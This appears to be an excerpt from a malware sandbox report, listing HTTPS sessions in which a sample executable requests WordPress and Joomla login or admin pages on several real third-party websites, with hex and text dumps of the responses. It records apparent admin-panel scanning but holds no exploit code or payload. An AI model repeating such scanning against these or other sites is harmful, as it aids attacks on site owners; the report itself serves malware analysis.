2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 5b 74 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 29 7b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 66 6c 61 67 22 3a 72 65 74 75 72 6e 20 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 32 36 61 37 5c 75 66 65 30 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 Data Ascii: fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 Data Ascii: Item(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 2e 6a 71 75 65 72 79 2e 63 73 73 3f 76 65 72 3d 32 2e 32 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 Data Ascii: .jquery.css?ver=2.21' media='all' /><style id='wp-emoji-styles-inline-css'>img.wp-smiley, img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin:
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 62 6f 74 74 6f 6d 3a 34 70 78 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 34 70 78 20 73 6f 6c 69 64 3b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 37 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 66 6f 6f 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 Data Ascii: bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 68 7b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 Data Ascii: lock-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:c
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 20 23 46 46 46 46 46 46 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 3a 20 23 41 37 31 34 34 43 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 72 3a 20 31 36 37 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 67 3a 20 32 30 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 62 3a 20 37 36 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 68 65 73 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 Data Ascii: #FFFFFF;--yith-wcan-filters_colors_accent: #A7144C;--yith-wcan-filters_colors_accent_r: 167;--yith-wcan-filters_colors_accent_g: 20;--yith-wcan-filters_colors_accent_b: 76;--yith-wcan-color_swatches_border_radius: 100%;--yith-wcan-color_swatc
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 65 20 61 2e 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 35 41 46 45 32 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 35 41 46 45 32 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 3a 68 6f 76 65 72 7b 62 61 63 6b Data Ascii: e a.facebook{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.facebook:hover{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.twitter{background: #45AFE2; background-color: #45AFE2;}.yith-wcwl-share a.twitter:hover{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	62392	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:40 UTC	813	IN	Data Raw: 32 32 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2277<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:40 UTC	8018	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	61946	92.62.143.50	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	231	OUT	GET /administrator/index.php HTTP/1.1 Host: bunasta.eu Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.bunasta.eu/administrator/
2023-11-26 05:59:40 UTC	245	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 33 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.38 (Debian)Location: http://www.bunasta.eu/administrator/index.phpContent-Length: 330Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:40 UTC	330	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.bunasta.eu/administrator/index.php">here</a>.</p><hr><address>Apa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	62180	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:40 UTC	7882	IN	Data Raw: 31 65 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1ec2<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:40 UTC	593	IN	Data Raw: 32 34 61 0d 0a 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 66 34 39 38 32 35 38 33 39 63 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 Data Ascii: 24aipt' src='https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2' id='wp-util-js'></script><script type='text/javascript' id='user-profile-js-extra'>/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"f49825839c"};/ ... */</scr
2023-11-26 05:59:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	61944	116.202.203.176	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	565	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 34 39 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 13491Connection: closeX-Frame-Options: SAMEORIGINExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache,
2023-11-26 05:59:40 UTC	13491	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 41 4b 20 48 4c 57 20 4c 61 6e 64 65 63 6b 2c 20 57 65 62 73 69 74 65 20 64 65 72 20 48 61 6e 64 65 6c 73 61 6b 61 64 65 6d 69 65 2c 20 64 65 72 20 4d 65 64 69 61 68 61 6b 20 4c 61 6e 64 65 63 6b 20 75 6e 64 Data Ascii: <!DOCTYPE html><html lang="de-de" dir="ltr"><head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="HAK HLW Landeck, Website der Handelsakademie, der Mediahak Landeck und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	61943	54.233.137.124	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	162	OUT	GET / HTTP/1.1 Host: www.rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	621	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 70 74 2d 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeContent-Language: pt-BRContent-Security-Policy: frame-ancestors 'self'Set-Cookie: originDirect=true; Max-Age=60
